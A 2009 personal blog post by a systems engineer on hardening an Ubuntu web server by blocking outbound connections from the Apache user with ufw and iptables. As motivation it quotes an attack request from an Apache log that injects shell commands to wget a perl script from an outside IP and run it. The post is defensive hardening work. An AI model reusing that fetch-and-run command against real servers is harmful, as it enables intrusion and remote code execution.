• contact
  • about
Home

Securing your web server by blocking outbound connections

rene — Tue, 11/24/2009 - 13:01

For a majority of web servers out there the need to query DNS servers and make external HTTP connections are not required yet these types of outbound packets are generally not firewalled off.

Take a quick search through your Apache logs for the 'wget' command and you may find requests that resemble something like this

217.196.212.150 - - [09/Sep/2009:04:31:25 +1000] "GET /phpMyAdmin/config/config
.inc.php?c=cd%20/tmp;killall%20-9%20perl;rm%20-rf%20X0-lock;rm%20-rf%20font-nix
;wget%20193.13.87.38/X0-locker;perl%20X0-locker  HTTP/1.1" 404 230 "-" "Mozilla
/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

The above request shows a scripted HTTP query that attempts to pass several commands to the PHP file titled config.inc.php. If successful this command would of killed all perl processes owned by the user running the web server (the user being www-data and the web server being Apache in this case), rm'd a few files, downloaded a perl script called X0-locker from an external site and then ran that perl script with the privileges of www-data.

A catch all fix for these types of attacks is to firewall all packets generated by the user running Apache.

Below I will take this 1 step further and demonstrate how to successfully block all outbound connections that we do not allow through using Ubuntu. This includes outbound HTTP and DNS requests from our user running our web server. Whilst iptables is not Ubuntu specific, I use the ufw package which is found in Ubuntu. The iptables rules that I use can be bolted on top of most distributions if you change the chain names.

Firstly, lets install the ufw package

$ sudo apt-get install ufw

Set the default OUTPUT policy to DROP by editing /etc/default/ufw. This effectively drops every outgoing packet.

DEFAULT_OUTPUT_POLICY="DROP"

Enable ufw by setting ENABLED to yes by editing /etc/ufw/ufw.conf

ENABLED=yes

At this stage its best you ensure your remote console connection to your web server is working. If you dont have a remote console connection you can add a small cron job which will stop the ufw service removing all the iptables rules.

Add the following cron job to /etc/cron.d/ufw

*/10 * * * *    root /etc/init.d/ufw stop

ufw (version 0.27) has a --dry-run feature though as far I'm aware this does not work with editing rules in /etc/ufw/before.rules which is where we're going next. I cant stress enough that without a remote console connection or the above cron job, you most likely will lock yourself out of your server.

Now to begin editing iptables rules. Open /etc/ufw/before.rules and hash out the following lines

-A ufw-before-output -p tcp -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -p udp -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

Find the COMMIT line within /etc/ufw/before.rules which should be on the last line. Just before the COMMIT line add the following

# http/s
-A ufw-before-input -p tcp --sport 1024:65535 -m multiport --dports 80,443 
-j ACCEPT

# ssh
-A ufw-before-input -p tcp --dport 22 -j ACCEPT

# allow established packets through
-A ufw-before-output -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT

# ntp
-A ufw-before-output -m owner --uid-owner ntp -p udp -m multiport --dport 53,123 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -m owner --uid-owner root -p udp -m multiport --dport 53,123 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

# log
-A ufw-before-output -m limit --limit 3/min --limit-burst 10 -m state --state NEW -j LOG --log-uid

If you have a remote console connection to your server its best to login through it now. If not ensure the cron job that stops the ufw service is working. If one of these 'backdoors' are not working be prepared to pay a visit to your data center and login via the console.

Start ufw.

$ sudo /etc/init.d/ufw start

Check the new iptable rules are in place

$ sudo iptables -L -n -v

We can easily test that the rules are in place and are blocking outbound connections from the webserver by su'ing to the www-data user and generating an outbound DNS and HTTP request

$ sudo su - www-data -s /bin/bash
$ telnet www.google.com 80
telnet: could not resolve www.google.com/80: Name or service not known

As we havent allowed DNS requests to be made from the www-data user outbound, HTTP queries have no chance of getting through. You can relax this slightly by allowing DNS requests to be made by www-data. This may be required if your web applications do any host based outbound queries (eg; using the google maps API) or if your Apache configuration has host based ACLs using an authorization module such as mod_authz_host.

To allow DNS requests by the www-data but continue to block all outbound connections that are initiated by the www-data user add the following iptables rule just before the final ufw-before-output rule

-A ufw-before-output -m owner --uid-owner www-data -p tcp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -m owner --uid-owner www-data -p udp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

Logging

Within the rules that we have added to perform the logging of the packets that are blocked we've used the --log-uid option allowing the logs to contain the UID and GID of the user who generated the offending outbound packet.

This extra piece of information is incredibly useful in debugging web applications and services that are trying establish outbound connections

Nov 22 20:52:52 web01 kernel: [569936.655730] IN= OUT=eth0 SRC=10.3.2.70 
DST=66.249.89.99 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=595 DF PROTO=TCP SPT=44742
DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0 UID=33 GID=33 

From the above log we have the following important information that can help determine what was blocked and whether we need to unblock it.

OUT=eth0 - the ethernet card that the packet was route out
SRC=10.3.2.70 - the source IP address of your web server
DST=66.249.89.99 - the destination of the packet
PROTO=TCP - the protocol of the packet
DPT=80 - the destination port
UID=33 - the userid that generated the packet
GID=33 - the group id that generated the packet


photos im taking

Pancakes in the afternoon. NOMsThe Cuckoo in Olindaeastern beach, GeelongGeelong maestrohawthorn vs Geelong at the MCGSt Marys church in GeelongseaplaneMEGANOMSChristmas in July at Ms Marplesfound in old album store in sassafrasoutside tea store in sassafrasEarl and green teaphoto.JPGantique store in the dandenongschicken parmigiana at rangersbruschetta at rangers in the dandenongstimeball towerDO NOT USE 50 cents!!!veggie patch week 2Photo1.jpgPhoto1.jpgNOMS!!$@photo.JPGred shoesphoto.JPGRBGdance Eugene, dancejust hanging outRoyal Botanical Gardens in MelbourneRoyal Botanical Gardens in Melbourne

about me


Passionate Systems Engineer.
Want to know more?

connect with me

search rene.bz

what im reading

  • Pivoting 101
  • A word of advice from my father about being frugal.
  • Fighting the summer productivity blahs
  • App Update: BlurFX
  • The elements of change
  • The Life Changing Nature of Gratitude
  • Evernote Essentials: The definitive guide to using Evernote
  • 9 Expert Tips For Better Writing
  • Coburg, Melbourne #iphoneography
  • Media Exponential
  • Little Collins St, Melbourne #iphoneography
  • Google I/O 2010 - Making Freemium work
  • The 8 lies that software developers tell
  • Coburg, Melbourne #iphoneography
  • TED talks – What the world needs
  • It’s As If Apple Has Hired Don Draper
  • TechCrunch TV: Speaking Of… Detroit, Featuring Scott and Jay Adelson
  • Why the World Needs Google TV
  • Federation Square No. 4, Melbourne #iPhoneography
  • North Melbourne Station
more

what im bookmarking

  • mmmmail! - Free disposable Email to RSS service.
  • The New York Times > Style > Slide Show > Single Space
  • Puppet - Using Multiple Environments - Puppet Labs
  • Muscle Beach
  • Doctrine - Doctrine ORM for PHP - Coding Standards
  • Using CPAN with a non-root account
  • AdvancedNetworking - cobbler - Trac
  • Simple jQuery Tabs Plugin
  • HTML5 Demos and Examples
  • When can I use...
  • Les RPM de Remi - enterprise - 5 - remi - x86_64
  • RPM Search RedHat EL 5 mysql-5.1.48-1.el5.remi.1.i386.rpm
  • Index of /SRPMS
  • AspireOne/AO751h - Community Ubuntu Documentation
  • Vel2010
  • InterfaceLIFT: Wallpaper sorted by Date
  • Software « michaeldehaan.net
  • about-company | Next New Networks
  • PHP 5.3.2 RPMs for CentOS 5.4
  • Slicehost Forum - CentOS 5.4 and PHP 5.3.2
more

podcasts im listening to

  • Shot of Jaq » The War Of The Editors
  • Shot of Jaq » Marketing Or Madness?
  • Shot of Jaq » Web vs. Desktop
  • Shot of Jaq » The Lobbyist’s Recipe
  • Shot of Jaq » Later, Data
more
  • contact
  • about